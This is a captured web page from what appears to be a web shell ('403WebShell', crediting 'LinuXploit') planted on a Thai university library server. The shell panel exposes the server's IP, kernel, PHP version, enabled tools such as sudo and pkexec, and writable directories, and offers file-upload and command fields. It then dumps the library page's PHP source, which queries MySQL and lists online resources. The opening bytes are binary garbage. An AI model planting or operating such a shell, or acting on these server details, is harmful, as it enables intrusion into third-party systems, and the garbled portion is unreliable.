h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/database.php
<?php include 'header.php';?>
<?php include 'dbnews.php';?>
<?php
function MonthThai($strMonth)
{
	$strMonthName = Array("","ม.ค.","ก.พ","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
	$strMonthThai=$strMonthName[$strMonth];
	return $strMonthThai;
}	

	$num_string_detail = 200;

?>

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

			<!--ฐานข้อมูลออนไลน์ -->
			<section class="blog_w3ls pt-3 pb-5 mt-5" id="onlinedatabase">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">ฐานข้อมูลออนไลน์</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=1 OR db_type=2 OR db_type=3 OR db_type=5";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="20">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail_accept.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
					<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-2 mt-2">ใช้บริการ</a>		

<?php
		if ($result["openathensurl"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["openathensurl"];?>" class="btn button-style mt-sm-2 mt-2">OpenAthens</a>
<?php
		}
?>	

						
<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-2 mt-2">คู่มือ</a>
<?php
		}
?>		
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>						


					</div>
				</div>
			</section>
			<!-- /ฐานข้อมูลออนไลน์ -->			
		
			<!--E-Book (หนังสืออิเล็กทรอนิกส์)-->
			<section class="blog_w3ls pt-3 pb-5" id="ebook">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">E-Book (หนังสืออิเล็กทรอนิกส์)</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=12";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="20">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail_accept.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
									<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-2 mt-2">ใช้บริการ</a>	
<?php
		//if ($result["manual2"]<>"")
		//{
?>					
					<!--&nbsp;&nbsp;&nbsp;<a href="<?php //echo $result["manual2"];?>" class="btn button-style mt-sm-0 mt-0">คู่มือ</a>-->
<?php
		//}
?>

<?php
		if ($result["openathensurl"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["openathensurl"];?>" class="btn button-style mt-sm-2 mt-2">OpenAthens</a>
<?php
		}
?>	
						
<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-2 mt-2">คู่มือ</a>
<?php
		}
?>				
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /E-Book (หนังสืออิเล็กทรอนิกส์) -->					
			
			<!--วารสาร-นิตยสาร-->
			<section class="blog_w3ls pt-3 pb-5" id="journal">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">วารสาร นิตยสาร</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=9";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="20">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
									<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-2 mt-2">ใช้บริการ</a>									

<?php
		if ($result["openathensurl"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["openathensurl"];?>" class="btn button-style mt-sm-2 mt-2">OpenAthens</a>
<?php
		}
?>

<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-2 mt-2">คู่มือ</a>
<?php
		}
?>		
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /วารสาร-นิตยสาร-->	

			<!--ฐานข้อมูลท้องถิ่น-->
			<section class="blog_w3ls pt-3 pb-5" id="localdatabase">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">ฐานข้อมูลท้องถิ่น</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=13";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="30">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
									<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-0 mt-0">ใช้บริการ</a>									
<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-0 mt-0">คู่มือ</a>
<?php
		}
?>		
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /ฐานข้อมูลท้องถิ่น-->				
			
			<!--เรียนออนไลน์ ทีวี วิดีโอออนไลน์-->
			<section class="blog_w3ls pt-3 pb-5" id="multimedia">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">เรียนออนไลน์ ทีวี วิดีโอ</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=10";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="20">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
									<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-0 mt-0">ใช้บริการ</a>									
<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-0 mt-0">คู่มือ</a>
<?php
		}
?>		
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /เรียนออนไลน์ ทีวี วิดีโอออนไลน์ -->	

			
			<!--ข่าวหนังสือพิมพ์-->
			<section class="blog_w3ls pt-3 pb-5" id="newspaper">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">ข่าว หนังสือพิมพ์</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=8";
	$sql .= " ORDER BY db_id ASC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-2 col-md-3 col-sm-4 col-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<img class="card-img-bottom" src="<?php echo $img_url;?>" alt="image">
									</a>
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /ข่าวหนังสือพิมพ์-->					
										
			<!--แหล่งสารสนเทศออนไลน์อื่น ๆ-->
			<section class="blog_w3ls pt-3 pb-5" id="other">
				<div class="container pb-xl-5 pb-lg-3">
					<h3 class="title text-uppercase text-center text-bl mb-1 pb-xl-1">แหล่งสารสนเทศออนไลน์อื่น ๆ</h3>
					<div class="row">
<?php
	$dbName = "db_lib";
	$conn = mysqli_connect($serverName,$userName,$userPassword,$dbName);
	mysqli_set_charset($conn,"utf8");
	$sql = "SELECT * from db_online";
	$sql .= " WHERE db_type=11";
	$sql .= " ORDER BY db_id DESC";
	//$sql .= " LIMIT 3";
	$query = mysqli_query($conn,$sql);
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>						
						
						<!-- blog grid -->
						<div class="col-lg-3 col-md-6 pt-5">
							<div class="card border-0 med-blog">
								<div class="card-header p-0 border-0">
									<a href="<?php echo $result["db_link"];?>">
<?php
		$img_url = "images/DBonline/" . $result["logo2"];	
?>										
										<!--<img class="card-img-bottom" src="<?php //echo $img_url;?>" alt="image">-->
										<img src="<?php echo $img_url;?>" alt="image" height="20">
									</a>
								</div>
								<div class="card-body border mt-3">
									<div class="mb-3">
										<h5 class="blog-title card-title font-weight-bold m-0">
											<a href="<?php echo $result["db_link"];?>"><?php echo $result["db_name"];?></a>
										</h5>
										<!--<div class="blog_w3icon">
											<span>
												Jan 12, 2019 - loremipsum</span>
										</div>-->
									</div>
<?php
		if (strlen($result["db_message"]) > $num_string_detail) {
			$show_detail = mb_substr($result["db_message"],0,$num_string_detail, 'UTF-8') . "..." . "<a href=bdetail.php?db_id="  . $result["db_id"]  .">อ่านต่อ" . "</a>";
		} else { //if ($result["db_message"] > $num_string_detail) {
			$show_detail = $result["db_message"];
		} //if ($result["db_message"] > $num_string_detail) {
?>									
									<p><?php echo $show_detail;?></p>
					<a href="<?php echo $result["db_link"];?>" class="btn button-style mt-sm-0 mt-0">ใช้บริการ</a>									
<?php
		if ($result["manual2"]<>"")
		{
?>					
					&nbsp;&nbsp;&nbsp;<a href="<?php echo $result["manual2"];?>" class="btn button-style mt-sm-0 mt-0">คู่มือ</a>
<?php
		}
?>		
								</div>
							</div>
						</div>
						<!-- //blog grid -->
<?php
	} //end while
?>							
					</div>
				</div>
			</section>
			<!-- /แหล่งสารสนเทศออนไลน์อื่น ๆ-->		
<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit